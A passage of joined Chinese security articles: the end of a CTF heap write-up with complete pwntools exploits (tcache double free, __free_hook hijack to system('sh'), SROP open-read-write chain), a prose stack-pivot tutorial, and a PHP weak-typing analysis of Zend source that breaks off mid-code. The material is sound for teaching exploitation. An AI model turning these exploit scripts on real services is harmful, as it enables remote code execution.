接下来又出现的是这两行，分别我们确定了 size 和 Content 指针存在的位置分别是 + 0 和 + 8，于是我们就可以根据已知的这个信息在 IDA
中建立一个结构体信息。
在这道题中，虽然储存 size 用的是 int （从 使用 %d 输出可以看出）应该只需要 0x4 个字节，但是估计为了对齐，所以实际上使用了 8 个字节。
有了结构体之后，我们再根据 BSS
段上实际上占用的长度计算出结构体的长度，然后再回到函数中对变量类型进行修改，修改后我们的代码就变得简单易读，更加的接近源代码。
### Delete 函数
一般来说如果是堆题的漏洞都是出现在两个功能函数中“Delete”函数和“Edit”函数。在 “Delete”函数中容易出现的漏洞就是 Free 之后不清 0
；而“Edit”函数中最容易出现的就是 Off By One、Off By Null、堆溢出等漏洞。而这道题中不存在 Edit 函数，所以我们就直接来审
Delete 函数。
果不其然，在这个函数中只 对 size 内容进行了清 0，但是没有对指针进行清 0，并且在进入判定的时候也没有判定是否指针已经被 free
过，这就造成了程序可能会出现 double free 的漏洞。我们这里再结合给出的远程 libc 判断出程序的 libc 版本是 **Ubuntu
GLIBC 2.27-3ubuntu1** ，这个版本是不存在 tcache double free 的检测的，所以我们可以直接利用 tcache
double free 来劫持程序流程。
### Add 函数
Add 函数对 size 进行了限制，要求是在 0x80 到 0x3FF 之内的 size。这个要求很常规，要求小于 size 大于 0x7F 是为了考察
tcache 的利用，防止你使用 fastbin 来进行攻击；小于 0x400 是为了防止你使用 largebin 进行攻击。在做题的时候，也可以通过观察对
size 的限制来推出本题大概考察的是什么点，但是也不要因为 size 的限制而限制思维的发散。
### Show 函数
Show 函数一般是用来泄露 libc 地址的，在这道题中是用 printf 进行输出的，%s 遇到 00
数据会截断。但是在这道题中影响不到我们利用，不过我这里提及一下常见的的坑和解决办法。
1. 在 glibc2.31 某个版本中使用 unsorted bin 堆块 free 后 fd 指针指向的位置，某位字节恰好是 00 数据，这使得我们无法利用这个方法来泄露出 libc 地址，这个时候可以想办法让 unsorted bin 的数据进入到 small bin 中，这时候再 leak 就不是 00 数据结尾了。
2. 在有些题目中，会在 add 或 edit 功能读入 Content 数据的时候，使用 00 数据来截断，这使得这样的程序在 Show 函数的时候只能输出你输入的 Content 的数据，而无法输出更多的内容来 leak。
3. 在没有 Show 函数的题目和遇到 2 这样的情况，我一般是考虑使用 stdout 来 leak libc，这个方法相对来说也比较的容易，大家可以参考一下我的[这篇文章](http://blog.wjhwjhn.com/archives/95/ "文章链接")。
## 利用漏洞
这里主要的思路都是针对于这个小版本的 glibc 2.27，其中的很多操作在新版本中都新增了检测的手段，不适用于新版本，绕过方法可以看我的其他文章。
### Leak
leak 常见的是 **leak libc** 、 **leak heapbase** 、 **leak pie** 、 **leak stac** k
这四种。这里需要的是 leak libc 和 leak heapbase 这两种。
Leak Libc 在这道题中使用的方法是，让堆块进入到 unsortedbin 中，然后再 show，他的 fd 指针就可以泄露出 libc
的地址。而在有 tcache 的情况下，让堆块进入到 unsortedbin 的前提就是 tcache 已经满了，也就是 tcache 中已经存在了 7
个堆块。我这里就直接利用 double free 漏洞，构造出一个环形的链表（这时候 counts 是 2），再申请三次让 counts 的内容变成了
-1（0xFF），这时候 0xFF 就是大于 7 的，让接下来释放的堆块就可以进入到 unsortedbin 中。再 Show 一次就可以 leak
libc。
Leak heapbase 要相对于简单一些，我们只需要利用 tcache 的 next 指针的残留，构造出一个 a -> b，其中 b 也在 heap
空间上，再 Show 一次就可以 leak heapbase。像这道题由于存在 double free 漏洞直接构造出 a -> a 即可。
### 劫持
在这之前这两道题的做法可以是一样的，但是从这里开始就要考虑不同的做法。
由于 tcache 没有像 fastbin 那样对 size 位进行了检测，所以我们可以考虑 UAF 劫持 next 指针到__free_hook
这个钩子，并且申请两次拿出。这个钩子可以传递一个 rdi 参数，内容为将要 free 的堆块指针，可以便于我们的利用。
在 Mynote 这道题中，我们直接在__free_hook 上写上 system 函数，并且在要 free 的堆块上写入内容为”sh\x00”，这时候
free 这个堆块就相当于执行了 system(“sh”)，就可以成功拿到程序 shell。
由于 MynoteMax 这题开启来沙箱禁用了 execve 函数，所以我们需要用 orw 的手段来 get flag。
在这个版本的 libc 中，我这里想到有两种方法来直接 orw。
1. 通过申请到 libc 中的 environ 来泄露出栈地址，再通过任意申请来申请到 Add 函数的返回地址那块栈空间，在 Add 函数中进行修改，并且在返回的时候执行 orw。
2. 通过劫持__free_hook 为 setcontext 来进行 SROP 来执行 orw。
这里我 EXP 中使用的是第二种方法
不过在这个版本中还没有进行修改，所以我们直接利用构造 SROP 来进行利用，关于具体的利用方法可以对照 exp
进行学习，或者看我的[这篇文章](http://blog.wjhwjhn.com/archives/155/ "链接2")（在新版本（>= 2.31）的
setcontext 函数中已经把传参的参数修改为 rdx，所以原来使用的 rdi 无法直接传参，需要寻找 gadget 来进行利用）
这里需要说明的是
1. 使用 SROP 并不一定需要泄露堆的地址，也可以直接把 SROP 的结构直接写在 __free_hook 附近的那段空间（注意不要覆盖到某些重要的钩子即可），在 free 的时候直接 free 那段空间。
2. 其实 ROP 中并不一定要 syscall，也可以直接调用 libc 中的函数，例如 open、read、write、puts、printf 这些函数也是可以的。但是需要注意的是 libc 中的 open 函数实际上在 syscall 的时候实际上使用的是 **257 sys_openat** ，如果沙箱中明确只让使用 **2 sys_open** 的话还是老老实实的用 syscall 比较好。
## EXP
在第二题的 exp 中，由于写入 SROP 所需要的结构和 ROP 链的总大小超过 0x100 字节，所以我修改申请了 0x200
字节，基本的利用思路不变。
### **Mynote**
from pwn import *
elf = None
libc = None
file_name = "./My_note"
#context.timeout = 1
def get_file(dic=""):
context.binary = dic + file_name
return context.binary
def get_libc(dic=""):
libc = None
try:
data = os.popen("ldd {}".format(dic + file_name)).read()
for i in data.split('\n'):
libc_info = i.split("=>")
if len(libc_info) == 2:
if "libc" in libc_info[0]:
libc_path = libc_info[1].split(' (')
if len(libc_path) == 2:
libc = ELF(libc_path[0].replace(' ', ''), checksec=False)
return libc
except:
pass
if context.arch == 'amd64':
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False)
elif context.arch == 'i386':
try:
libc = ELF("/lib/i386-linux-gnu/libc.so.6", checksec=False)
except:
libc = ELF("/lib32/libc.so.6", checksec=False)
return libc
def get_sh(Use_other_libc=False, Use_ssh=False):
global libc
if args['REMOTE']:
if Use_other_libc:
libc = ELF("./libc.so.6", checksec=False)
if Use_ssh:
s = ssh(sys.argv[3], sys.argv[1], sys.argv[2], sys.argv[4])
return s.process(file_name)
else:
return remote(sys.argv[1], sys.argv[2])
else:
return process(file_name)
def get_address(sh, libc=False, info=None, start_string=None, address_len=None, end_string=None, offset=None,
int_mode=False):
if start_string != None:
sh.recvuntil(start_string)
if libc == True:
return_address = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
elif int_mode:
return_address = int(sh.recvuntil(end_string, drop=True), 16)
elif address_len != None:
return_address = u64(sh.recv()[:address_len].ljust(8, '\x00'))
elif context.arch == 'amd64':
return_address = u64(sh.recvuntil(end_string, drop=True).ljust(8, '\x00'))
else:
return_address = u32(sh.recvuntil(end_string, drop=True).ljust(4, '\x00'))
if offset != None:
return_address = return_address + offset
if info != None:
log.success(info + str(hex(return_address)))
return return_address
def get_flag(sh):
sh.recvrepeat(0.1)
sh.sendline('cat flag')
return sh.recvrepeat(0.3)
def get_gdb(sh, gdbscript=None, addr=0, stop=False):
if args['REMOTE']:
return
if gdbscript is not None:
gdb.attach(sh, gdbscript=gdbscript)
elif addr is not None:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(sh.pid)).readlines()[1], 16)
log.success("breakpoint_addr --> " + hex(text_base + addr))
gdb.attach(sh, 'b *{}'.format(hex(text_base + addr)))
else:
gdb.attach(sh)
if stop:
raw_input()
def Attack(target=None, sh=None, elf=None, libc=None):
if sh is None:
from Class.Target import Target
assert target is not None
assert isinstance(target, Target)
sh = target.sh
elf = target.elf
libc = target.libc
assert isinstance(elf, ELF)
assert isinstance(libc, ELF)
try_count = 0
while try_count < 3:
try_count += 1
try:
pwn(sh, elf, libc)
break
except KeyboardInterrupt:
break
except EOFError:
if target is not None:
sh = target.get_sh()
target.sh = sh
if target.connect_fail:
return 'ERROR : Can not connect to target server!'
else:
sh = get_sh()
flag = get_flag(sh)
return flag
def choice(idx):
sh.sendlineafter("> Your choice :", str(idx))
def add(size, content='sh\x00'):
choice(1)
sh.sendlineafter("size :", str(size))
sh.sendafter("Content :", content)
def show(idx):
choice(2)
sh.sendlineafter("Index :", str(idx))
def delete(idx):
choice(3)
sh.sendlineafter("Index :", str(idx))
def pwn(sh, elf, libc):
print libc.path
context.log_level = "debug"
add(0x100)
add(0x100) #1
add(0x100) #2
delete(0)
delete(0)
add(0x100, '\x60')
add(0x100, '\x60')
add(0x100, '\x60')
delete(1)
show(1)
libc_base = get_address(sh, True, info="libc_base:\t", offset=-0x3ebca0)
libc.address = libc_base
add(0x100, p64(libc.sym['__free_hook']))
add(0x100, p64(libc.sym['system']))
add(0x100, p64(libc.sym['system']))
delete(2)
sh.interactive()
if __name__ == "__main__":
sh = get_sh()
flag = Attack(sh=sh, elf=get_file(), libc=get_libc())
sh.close()
log.success('The flag is ' + re.search(r'flag{.+}', flag).group())
### MynoteMax
from pwn import *
elf = None
libc = None
file_name = "./Mynote_Max"
# context.timeout = 1
def get_file(dic=""):
context.binary = dic + file_name
return context.binary
def get_libc(dic=""):
libc = None
try:
data = os.popen("ldd {}".format(dic + file_name)).read()
for i in data.split('\n'):
libc_info = i.split("=>")
if len(libc_info) == 2:
if "libc" in libc_info[0]:
libc_path = libc_info[1].split(' (')
if len(libc_path) == 2:
libc = ELF(libc_path[0].replace(' ', ''), checksec=False)
return libc
except:
pass
if context.arch == 'amd64':
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False)
elif context.arch == 'i386':
try:
libc = ELF("/lib/i386-linux-gnu/libc.so.6", checksec=False)
except:
libc = ELF("/lib32/libc.so.6", checksec=False)
return libc
def get_sh(Use_other_libc=False, Use_ssh=False):
global libc
if args['REMOTE']:
if Use_other_libc:
libc = ELF("./libc.so.6", checksec=False)
if Use_ssh:
s = ssh(sys.argv[3], sys.argv[1], sys.argv[2], sys.argv[4])
return s.process(file_name)
else:
return remote(sys.argv[1], sys.argv[2])
else:
return process(file_name)
def get_address(sh, libc=False, info=None, start_string=None, address_len=None, end_string=None, offset=None,
int_mode=False):
if start_string != None:
sh.recvuntil(start_string)
if libc == True:
return_address = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
elif int_mode:
return_address = int(sh.recvuntil(end_string, drop=True), 16)
elif address_len != None:
return_address = u64(sh.recv()[:address_len].ljust(8, '\x00'))
elif context.arch == 'amd64':
return_address = u64(sh.recvuntil(end_string, drop=True).ljust(8, '\x00'))
else:
return_address = u32(sh.recvuntil(end_string, drop=True).ljust(4, '\x00'))
if offset != None:
return_address = return_address + offset
if info != None:
log.success(info + str(hex(return_address)))
return return_address
def get_flag(sh):
sh.recvrepeat(0.1)
sh.sendline('cat flag')
return sh.recvrepeat(0.3)
def get_gdb(sh, gdbscript=None, addr=0, stop=False):
if args['REMOTE']:
return
if gdbscript is not None:
gdb.attach(sh, gdbscript=gdbscript)
elif addr is not None:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(sh.pid)).readlines()[1], 16)
log.success("breakpoint_addr --> " + hex(text_base + addr))
gdb.attach(sh, 'b *{}'.format(hex(text_base + addr)))
else:
gdb.attach(sh)
if stop:
raw_input()
def Attack(target=None, sh=None, elf=None, libc=None):
if sh is None:
from Class.Target import Target
assert target is not None
assert isinstance(target, Target)
sh = target.sh
elf = target.elf
libc = target.libc
assert isinstance(elf, ELF)
assert isinstance(libc, ELF)
try_count = 0
while try_count < 3:
try_count += 1
try:
pwn(sh, elf, libc)
break
except KeyboardInterrupt:
break
except EOFError:
if target is not None:
sh = target.get_sh()
target.sh = sh
if target.connect_fail:
return 'ERROR : Can not connect to target server!'
else:
sh = get_sh()
flag = get_flag(sh)
return flag
def choice(idx):
sh.sendlineafter("> Your choice :", str(idx))
def add(size, content='sh\x00'):
choice(1)
sh.sendlineafter("size :", str(size))
sh.sendafter("Content :", content)
def show(idx):
choice(2)
sh.sendlineafter("Index :", str(idx))
def delete(idx):
choice(3)
sh.sendlineafter("Index :", str(idx))
def pwn(sh, elf, libc):
print libc.path
context.log_level = "debug"
add(0x200) # 0
add(0x200) # 1
add(0x200) # 2
delete(0)
delete(0)
show(0)
sh.recvuntil('Content: ')
heap_addr = u64(sh.recvuntil('\x2b', drop=True)[-6:].ljust(8, '\x00'))
log.success("heap_base:\t" + hex(heap_addr - 0x260))
add(0x200, '\x60') # 0
add(0x200, '\x60') # 3
add(0x200, '\x60') # 4
delete(1)
show(1)
libc_base = get_address(sh, True, info="libc_base:\t", offset=-0x3ebca0)
libc.address = libc_base
# SROP
pop_rdi_addr = libc_base + 0x2155f
pop_rsi_addr = libc_base + 0x23e6a
pop_rdx_addr = libc_base + 0x1b96
pop_rax_addr = libc_base + 0x439c8
syscall_ret_addr = libc_base + 0xd2975
fake_frame_addr = heap_addr
frame = SigreturnFrame()
frame.rax = 2
frame.rdi = fake_frame_addr + 0xF8
frame.rsi = 0
frame.rdx = 0x100
frame.rsp = fake_frame_addr + 0xF8 + 0x10
frame.rip = pop_rdi_addr + 1 # : ret
rop_data = [
pop_rax_addr, # sys_open('flag', 0)
2,
syscall_ret_addr,
pop_rax_addr, # sys_read(flag_fd, heap, 0x100)
0,
pop_rdi_addr,
3,
pop_rsi_addr,
fake_frame_addr + 0x200,
syscall_ret_addr,
pop_rax_addr, # sys_write(1, heap, 0x100)
1,
pop_rdi_addr,
1,
pop_rsi_addr,
fake_frame_addr + 0x200,
syscall_ret_addr
]
add(0x200, p64(libc.sym['__free_hook'])) # 5
add(0x200, str(frame).ljust(0xF8, '\x00') + 'flag' + '\x00' * (8 + 4) + flat(rop_data)) # 6
add(0x200, p64(libc.sym['setcontext'] + 53)) # 7
#gdb.attach(sh, "b *" + hex(libc.sym['setcontext'] + 53))
delete(0)
sh.interactive()
if __name__ == "__main__":
sh = get_sh()
flag = Attack(sh=sh, elf=get_file(), libc=get_libc())
sh.close()
log.success('The flag is ' + re.search(r'flag{.+}', flag).group())
## 总结
这次的公开赛的题目只能算是一个常规的堆题吧，对于新手入门 libc2.27
还是有很大的帮助的。所以本文的主要目的也不是在于介绍这道题上，而是借用这些题目为引，来简单的说说我做题的思路以及会遇到的一些坑，这些坑虽然看上去平平无奇，但在实际比赛中遇到总是会给人带来一丝紧张。如果提前了解了，那么在比赛过程中就是“知己知彼，百战不殆”。 | 社区文章 |
题目在附件中，刚入坑pwn，向各位优秀的师傅拼命学习ing，看到栈迁移的题目，感觉有趣，就总结一下：
所谓栈迁移，一般是指栈溢出后所能构造payload的空间不足，所以需要新的地址空间去构造payload，这就是栈迁移的思想，首先来了解下前置知识：
leave | ret的作用：mov esp，ebp；pop ebp；ret
实现栈迁移的基本思想:
首先相当于ebp把esp勾引到ebp自己的身边，然后这个女人又跑到另一个ebp藏身地去了，esp要经历重重难关（运行命令），再次找到leave |
ret（指路仙人），ret才能再次与ebp美女相会，但是ebp又会跑到下一个ebp美女藏身地，有种煮熟的鸭子飞了的感觉。
这里总结了2种题型和方法：（我们把开辟的堆栈空间叫做新世界）
一、直接给出通往新世界的钥匙：pivot（64位）
第一步看看保护措施，确定方略，再看看ida里面有用信息：
看到是栈的溢出漏洞，但是发现栈空间不够写指令，又发现题目创建了个堆给你，应该可以好好利用这个堆实现我们想要的功能，正常来说，当栈的空间不够用时是写入bss段的，这里正好可以用，就先用吧，接下来找有用信息：
先在第二个fget下断点爆破溢出栈大小：
可以知道，栈大小为40（覆盖了ebp），接下来继续分析找有用信息：
看来没有system和/bin/sh，有些迷，看到还有一个文件libcpovit.so,拖ida进去看看:
发现了我们想要的system函数，同时参数有效，就是直接得到flag，那么接下来就是要在povit中获取这个ret2win的真实地址了，再找找信息：
发现了相同的函数，思路已经比较清晰了：
首先让function函数执行一次，在got表中生成对应的真实地址，然后偏移量是利用在libc表中的偏移和真实表中的偏移相同，先计算出在libc表中ret2win和function之间的偏移。再用function真实地址+偏移地址=ret2win的真实地址。
脚本就可以写出来了：
1、计算偏移：
2、执行一次获取got表上的真实地址：
3、求ret2win的真实地址并调用这个函数：
4、得到堆顶指针：
5、栈溢出操作：
6、验证答案：
完整的脚本：
总结：直接利用给出的钥匙（堆指针heap），成功构造payload，执行，问题不大，其次利用xchg
eax,esp的gadget，实现栈顶指针的“劫持”，使esp指向堆指针heap，执行堆里面的payload，学习到一个新姿势（本题64位因为有截断符0xa0,所以用不了leave；ret的gadget，所以利用xchg的方法间接实现）
二、打造通往新世界的钥匙：
按照套路，先检查保护机制，拖进ida分析逻辑，
由count的值可知，main函数只能执行一次，这就有些限制我们的操作了，继续往下分析，read读取0x40（64）个字节到buf0x28（40）的空间中，会溢出0x18（24）个字节，这样用来构造的paylode长度就很有限，那么基于上一题的经验，我们需要一个新的空间去写我们的payload，这里没有直接给出我们能用的空间（上一题有堆heap），那么我们就要自己去构造出这把钥匙，去bss段中去打造钥匙，在这里我们需要两把钥匙（也就是两个ebp），然后通过泄露puts的真实地址来计算system的真实地址，从而getshell，下面具体解答：
先看看栈大小，爆破（覆盖ebp）：
找可以用的gadget：
其中pop_ebx_ret作用是保持栈平衡，而leave_ret则是为了实现esp的跳转
选取好了，就可以写payload了，首先是各个地址的计算：
接下来是原始的栈进行溢出操作：
通过leave_ret就会把esp勾引到buf1所在的虚拟栈去执行上面的payload，buf1上的payload内容为：
又再次因为leave_ret跳转到buf2所在的虚拟栈去执行上面的payload，buf2上的payload内容为：
自己画了个图，我们知道esp是一步步地往上执行的，遇到leave_ret时跳转，用图示来看清楚具体的流程：
完整的payload如下:
验证：
总结：在bss段构造虚拟的栈空间，进行payload的构造，通过控制ebp和esp的指向，控制程序的执行流程，利用有限的栈溢出空间，实现更大的空间利用。
大总结：学会了两种方法：1、xchg
eax，esp（ebx存的是虚拟栈的ebp地址，只要有这个gadget就可以用）2、leave_ret(没有截断符号例如0xa0，就可以用)，融会贯通，本质就是劫持esp到虚拟栈中去执行payload~ | 社区文章 |
# 从php内核角度分析php弱类型
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
在CTF比赛中PHP弱类型的特性常常被用上，但我们往往知其然不知其所以然，究竟为什么PHP是弱类型呢？很少人深究。在这次源码分析的过程中我收获很大，第一次学会了如何深入理解一个问题，虽然花费了我很多时间，但这可以说是一段非常值得的经历。
## 正文
首先引入一个问题，为什么以下结果是恒为真的呢？
var_dump([]>1);
var_dump([]>0);
var_dump([]>-1);
当然实际ctf中问题可能会如下
$_GET[Password]>99999;
当传入Password[]=1
时侯恒为真
当然再换一种形式
var_dump([[]]>[1]);
依旧是恒为真
对于这类问题，很多人都是认为PHP因为它是弱类型语言它就有这种特性
那么为什么PHP会有这种特性呢？
我们首先查阅下PHP手册
http://php.net/manual/en/language.operators.comparison.php#language.operators.comparison.types
在手册中写到，当array和anything进行比较的时候array is always greater
这是一种PHP的定义。
那么究竟PHP到底在哪定义了这种特点呢？
我们依旧不知道。
我们再抛出个问题究竟什么是PHP弱类型呢？
很多人可能会回答弱类型就是弱类型，当传入Password[]=1就会绕过这就是弱类型
这种回答肯定是不妥当的
具体弱类型定义
>
> PHP是弱类型语言，不需要明确的定义变量的类型，变量的类型根据使用时的上下文所决定，也就是变量会根据不同表达式所需要的类型自动转换，比如求和，PHP会将两个相加的值转为long、double再进行加和。每种类型转为另外一种类型都有固定的规则，当某个操作发现类型不符时就会按照这个规则进行转换，这个规则正是弱类型实现的基础。
我们再通过查阅PHP源码来深刻理解PHP弱类型的特点
PHP是开源的一种语言，我们在Github上可以很容易的查询到它的源码
[传送门](https://github.com/php/php-src/blob/master/Zend/zend_operators.h)
这里找函数会方便点
当然解释下什么是Zend
> Zend是PHP语言实现的最为重要的部分，是PHP最基础、最核心的部分，它的源码在/Zend目录下，PHP代码从编译到执行都是由Zend完成的
至于为什么要查询zend_operators.h这个文件，operator操作符，其他几个文件不像存在比较函数，有的时候查源码时候就是需要靠感觉，这种大项目
函数变量什么的都有规范 一般所见即所得 看懂英语就大概猜得到用途的，
当然这个文件也不一般
我再进行解释下,当然想深入理解可以看[这里](http://wiki.jikexueyuan.com/project/extending-embedding-php/2.1.html)
> PHP在内核中是通过zval这个结构体来存储变量的，它的定义在Zend/zend.h文件里，简短精炼，只有四个成员组成：
我们定位到函数
> ZEND_API int ZEND_FASTCALL is_smaller_function(zval _result, zval_ op1, zval
> *op2);
这里传入了两个值op1,op2,传出一个result
解释下zval类型
> zval以一个P结尾的宏的参数大多是 _zval型变量。
> 此外获取变量类型的宏还有两个，分别是Z_TYPE和Z_TYPE_PP，前者的参数是zval型，而后者的参数则是*_ zval。
这样说可能会有些抽象
我们换种方式解释，当再php源码中要想判断一个变量的类型最直接的方式，比如想判断这个变量是否为空
变量->type == IS_NULL
这种方法虽然是正确的，但PHP官网并不建议这么做，PHP中定义了大量的宏，供我们检测、操作变量使用
解释下什么是宏
>
> C语言中允许用一个标识符来标识一个字符串，称为“宏”；标识符为“宏名”。在编译预处理时，对程序中所有出现的“宏名”，都用宏定义时的字符串去代换，简称“宏代换”或“宏展开”。一般形式：#define
> 宏名 字符串
宏定义说明及注意：
> 宏定义时用宏名来表示一个字符串，在宏展开时又以该字符串替换了宏名，这只是一个简单的替换；
> 宏定义不需要再行末加分号，若加上分号，则会连分号也会被替换的；
> 宏定义必须在函数外面；宏定义的作用域：从定义命令至程序结束，若想终止宏的作用域，则使用undef命令；
> 宏名在程序中用引号括起来，则预处理程序对其不进行宏替换；
> 宏定义是可以嵌套使用的，在展开时，由预处理程序层层替换；
> 建议在进行宏定义时，尽量使用大写字母表示宏名；
> 可用宏来表示数据类型，使书写方便；
> 对“输出格式”做用定义，可以减少书写麻烦。
PHP建议使用的形式
Z_TYPE_P(变量) == IS_NULL
> 以一个P结尾的宏的参数大多是 _zval型变量。
> 此外获取变量类型的宏还有两个，分别是Z_TYPE和Z_TYPE_PP，前者的参数是zval型，而后者的参数则是*_ zval
这样我们便可以猜测一下php内核是如何实现gettype这个函数了，代码如下：想要详细了解的可以看[这里](http://wiki.jikexueyuan.com/project/extending-embedding-php/2.1.html)
//开始定义php语言中的函数gettype
PHP_FUNCTION(gettype)
{
//arg间接指向调用gettype函数时所传递的参数。是一个zval**结构
//所以我们要对他使用__PP后缀的宏。
zval **arg;
//这个if的操作主要是让arg指向参数～
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "Z", &arg) == FAILURE) {
return;
}
//调用Z_TYPE_PP宏来获取arg指向zval的类型。
//然后是一个switch结构，RETVAL_STRING宏代表这gettype函数返回的字符串类型的值
switch (Z_TYPE_PP(arg)) {
case IS_NULL:
RETVAL_STRING("NULL", 1);
break;
case IS_BOOL:
RETVAL_STRING("boolean", 1);
break;
case IS_LONG:
RETVAL_STRING("integer", 1);
break;
case IS_DOUBLE:
RETVAL_STRING("double", 1);
break;
case IS_STRING:
RETVAL_STRING("string", 1);
break;
case IS_ARRAY:
RETVAL_STRING("array", 1);
break;
case IS_OBJECT:
RETVAL_STRING("object", 1);
break;
case IS_RESOURCE:
{
char *type_name;
type_name = zend_rsrc_list_get_rsrc_type(Z_LVAL_PP(arg) TSRMLS_CC);
if (type_name) {
RETVAL_STRING("resource", 1);
break;
}
}
default:
RETVAL_STRING("unknown type", 1);
}
}
以上三个宏的定义在Zend/zend_operators.h里，定义分别是：
> define Z_TYPE(zval) (zval).type
>
> define Z_TYPE_P(zval_p) Z_TYPE(*zval_p)
>
> define Z_TYPE_PP(zval_pp) Z_TYPE(**zval_pp)
这也是为是什么在Zend/zend_operators.h里面进行查询的原因，貌似有些跑题了？
当然下一个问题，为什么我们要定位到函数is_smaller_function
这里主要是靠对于PHP源码的熟悉，进行猜测，当然有的时候分析源码的时候可以讲PHP源码下载下载，部分IDE会有提供函数来源的功能
其实本来有个
> lxr.php.net
可以让我们迅速定位到我们想要的函数，但是这个网站在16年后就不是很稳定了，甚至有人将它当做一个BUG提交给PHP官网，这是一个很有趣的事情，具体可以了解[这里](https://bugs.php.net/bug.php?id=72396)
那么我们还有没有什么办法迅速定位到我们需要的函数呢？
进入is_smaller_function的函数
ZEND_API int ZEND_FASTCALL is_smaller_function(zval *result, zval *op1, zval *op2) /* {{{ */
{
if (compare_function(result, op1, op2) == FAILURE) {
return FAILURE;
}
ZVAL_BOOL(result, (Z_LVAL_P(result) < 0));
return SUCCESS;
}
这里有一个compare_function函数以及
ZVAL_BOOL
我们先分析下compare_function函数
跟进
ZEND_API int ZEND_FASTCALL compare_function(zval *result, zval *op1, zval *op2) /* {{{ */
{
int ret;
int converted = 0;
zval op1_copy, op2_copy;
zval *op_free, tmp_free;
while (1) {
switch (TYPE_PAIR(Z_TYPE_P(op1), Z_TYPE_P(op2))) {
case TYPE_PAIR(IS_LONG, IS_LONG):
ZVAL_LONG(result, Z_LVAL_P(op1)>Z_LVAL_P(op2)?1:(Z_LVAL_P(op1)<Z_LVAL_P(op2)?-1:0));
return SUCCESS;
case TYPE_PAIR(IS_DOUBLE, IS_LONG):
Z_DVAL_P(result) = Z_DVAL_P(op1) - (double)Z_LVAL_P(op2);
ZVAL_LONG(result, ZEND_NORMALIZE_BOOL(Z_DVAL_P(result)));
return SUCCESS;
case TYPE_PAIR(IS_LONG, IS_DOUBLE):
Z_DVAL_P(result) = (double)Z_LVAL_P(op1) - Z_DVAL_P(op2);
ZVAL_LONG(result, ZEND_NORMALIZE_BOOL(Z_DVAL_P(result)));
return SUCCESS;
case TYPE_PAIR(IS_DOUBLE, IS_DOUBLE):
if (Z_DVAL_P(op1) == Z_DVAL_P(op2)) {
ZVAL_LONG(result, 0);
} else {
Z_DVAL_P(result) = Z_DVAL_P(op1) - Z_DVAL_P(op2);
ZVAL_LONG(result, ZEND_NORMALIZE_BOOL(Z_DVAL_P(result)));
}
return SUCCESS;
case TYPE_PAIR(IS_ARRAY, IS_ARRAY):
ZVAL_LONG(result, zend_compare_arrays(op1, op2));
return SUCCESS;
case TYPE_PAIR(IS_NULL, IS_NULL):
case TYPE_PAIR(IS_NULL, IS_FALSE):
case TYPE_PAIR(IS_FALSE, IS_NULL):
case TYPE_PAIR(IS_FALSE, IS_FALSE):
case TYPE_PAIR(IS_TRUE, IS_TRUE):
ZVAL_LONG(result, 0);
return SUCCESS;
case TYPE_PAIR(IS_NULL, IS_TRUE):
ZVAL_LONG(result, -1);
return SUCCESS;
case TYPE_PAIR(IS_TRUE, IS_NULL):
ZVAL_LONG(result, 1);
return SUCCESS;
case TYPE_PAIR(IS_STRING, IS_STRING):
if (Z_STR_P(op1) == Z_STR_P(op2)) {
ZVAL_LONG(result, 0);
return SUCCESS;
}
ZVAL_LONG(result, zendi_smart_strcmp(Z_STR_P(op1), Z_STR_P(op2)));
return SUCCESS;
case TYPE_PAIR(IS_NULL, IS_STRING):
ZVAL_LONG(result, Z_STRLEN_P(op2) == 0 ? 0 : -1);
return SUCCESS;
case TYPE_PAIR(IS_STRING, IS_NULL):
ZVAL_LONG(result, Z_STRLEN_P(op1) == 0 ? 0 : 1);
return SUCCESS;
case TYPE_PAIR(IS_OBJECT, IS_NULL):
ZVAL_LONG(result, 1);
return SUCCESS;
case TYPE_PAIR(IS_NULL, IS_OBJECT):
ZVAL_LONG(result, -1);
return SUCCESS;
default:
if (Z_ISREF_P(op1)) {
op1 = Z_REFVAL_P(op1);
continue;
} else if (Z_ISREF_P(op2)) {
op2 = Z_REFVAL_P(op2);
continue;
}
if (Z_TYPE_P(op1) == IS_OBJECT && Z_OBJ_HANDLER_P(op1, compare)) {
ret = Z_OBJ_HANDLER_P(op1, compare)(result, op1, op2);
if (UNEXPECTED(Z_TYPE_P(result) != IS_LONG)) {
convert_compare_result_to_long(result);
}
return ret;
} else if (Z_TYPE_P(op2) == IS_OBJECT && Z_OBJ_HANDLER_P(op2, compare)) {
ret = Z_OBJ_HANDLER_P(op2, compare)(result, op1, op2);
if (UNEXPECTED(Z_TYPE_P(result) != IS_LONG)) {
convert_compare_result_to_long(result);
}
return ret;
}
if (Z_TYPE_P(op1) == IS_OBJECT && Z_TYPE_P(op2) == IS_OBJECT) {
if (Z_OBJ_P(op1) == Z_OBJ_P(op2)) {
/* object handles are identical, apparently this is the same object */
ZVAL_LONG(result, 0);
return SUCCESS;
}
if (Z_OBJ_HANDLER_P(op1, compare_objects) == Z_OBJ_HANDLER_P(op2, compare_objects)) {
ZVAL_LONG(result, Z_OBJ_HANDLER_P(op1, compare_objects)(op1, op2));
return SUCCESS;
}
}
if (Z_TYPE_P(op1) == IS_OBJECT) {
if (Z_OBJ_HT_P(op1)->get) {
zval rv;
op_free = Z_OBJ_HT_P(op1)->get(Z_OBJ_P(op1), &rv);
ret = compare_function(result, op_free, op2);
zend_free_obj_get_result(op_free);
return ret;
} else if (Z_TYPE_P(op2) != IS_OBJECT && Z_OBJ_HT_P(op1)->cast_object) {
ZVAL_UNDEF(&tmp_free);
if (Z_OBJ_HT_P(op1)->cast_object(Z_OBJ_P(op1), &tmp_free, ((Z_TYPE_P(op2) == IS_FALSE || Z_TYPE_P(op2) == IS_TRUE) ? _IS_BOOL : Z_TYPE_P(op2))) == FAILURE) {
ZVAL_LONG(result, 1);
zend_free_obj_get_result(&tmp_free);
return SUCCESS;
}
ret = compare_function(result, &tmp_free, op2);
zend_free_obj_get_result(&tmp_free);
return ret;
}
}
if (Z_TYPE_P(op2) == IS_OBJECT) {
if (Z_OBJ_HT_P(op2)->get) {
zval rv;
